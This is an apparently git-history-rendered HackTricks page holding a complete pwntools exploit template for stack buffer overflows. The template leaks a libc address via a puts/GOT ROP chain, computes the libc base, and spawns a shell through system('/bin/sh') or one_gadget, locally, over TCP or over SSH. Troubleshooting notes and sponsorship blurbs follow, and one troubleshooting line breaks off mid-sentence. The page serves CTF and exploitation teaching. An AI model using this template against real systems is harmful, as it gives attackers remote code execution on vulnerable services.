hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md

256 lines
8.3 KiB
Markdown
Raw Normal View History

2022-04-28 18:01:33 +02:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
{% code title="template.py" %}
```python
2021-03-20 13:47:13 +01:00
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
2022-05-01 14:41:36 +02:00
###################
### CONNECTION ####
###################
2021-03-20 13:47:13 +01:00
LOCAL = False
REMOTETTCP = True
REMOTESSH = False
GDB = False
USE_ONE_GADGET = False
2021-03-20 13:47:13 +01:00
LOCAL_BIN = "./vuln"
REMOTE_BIN = "~/vuln" #For ssh
2021-03-20 13:50:11 +01:00
LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
2021-11-06 18:01:17 +01:00
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
2021-03-20 13:47:13 +01:00
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
2021-03-22 12:06:28 +01:00
P = remote('10.10.10.10',1339) # start the vuln binary
2021-03-20 13:47:13 +01:00
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
2021-03-20 13:47:13 +01:00
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
2021-03-20 13:47:13 +01:00
gdb.attach(P.pid, "b *main")
2021-03-20 13:47:13 +01:00
2022-05-01 14:41:36 +02:00
#########################
#### OFFSET FINDER ######
#########################
2021-03-20 13:47:13 +01:00
OFFSET = b"" #b"A"*264
2021-03-20 11:29:06 +01:00
if OFFSET == b"":
2021-03-20 13:47:13 +01:00
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
2021-03-20 13:47:13 +01:00
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
2021-03-20 13:47:13 +01:00
2022-05-01 14:41:36 +02:00
####################
### Find Gadgets ###
####################
try:
2021-03-22 12:18:24 +01:00
libc_func = "puts"
2021-03-20 13:47:13 +01:00
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
2021-03-22 12:18:24 +01:00
libc_func = "printf"
2021-03-20 13:47:13 +01:00
PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (ROP_LOADED.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
2021-03-20 13:47:13 +01:00
log.info("ret gadget: " + hex(RET))
2022-05-01 14:41:36 +02:00
########################
### Find LIBC offset ###
########################
2021-03-20 13:47:13 +01:00
def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
2021-03-22 12:18:24 +01:00
def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
2021-03-20 13:47:13 +01:00
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
2021-03-20 10:27:53 +01:00
leak = u64(recieved.ljust(8, b"\x00"))
2021-03-22 12:18:24 +01:00
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
2021-03-20 13:47:13 +01:00
# Set lib base address
if LIBC:
2021-03-22 12:18:24 +01:00
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
2021-11-06 18:01:17 +01:00
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
2021-03-20 13:47:13 +01:00
log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
2021-03-22 12:18:24 +01:00
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
2022-05-01 14:41:36 +02:00
#############################
#### FINAL EXPLOITATION #####
#############################
2021-03-20 13:47:13 +01:00
2022-05-01 14:41:36 +02:00
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
2021-11-06 18:01:17 +01:00
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
rop2 = b""
if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
2022-05-01 14:41:36 +02:00
## Normal/Long exploitation
if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
2021-03-20 13:47:13 +01:00
print(P.clean())
P.sendline(rop2)
2021-03-20 13:47:13 +01:00
P.interactive() #Interact with your shell :)
```
{% endcode %}
2021-03-20 13:47:13 +01:00
2022-05-01 14:41:36 +02:00
# Common problems
2022-05-01 14:41:36 +02:00
## MAIN\_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist. Then you can just where is the main code:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
```python
MAIN_PLT = 0x401080
```
2022-05-01 14:41:36 +02:00
## Puts not found
If the binary is not using Puts you should check if it is using
2022-05-01 14:41:36 +02:00
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
2021-11-30 17:46:07 +01:00
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
2022-04-28 18:01:33 +02:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>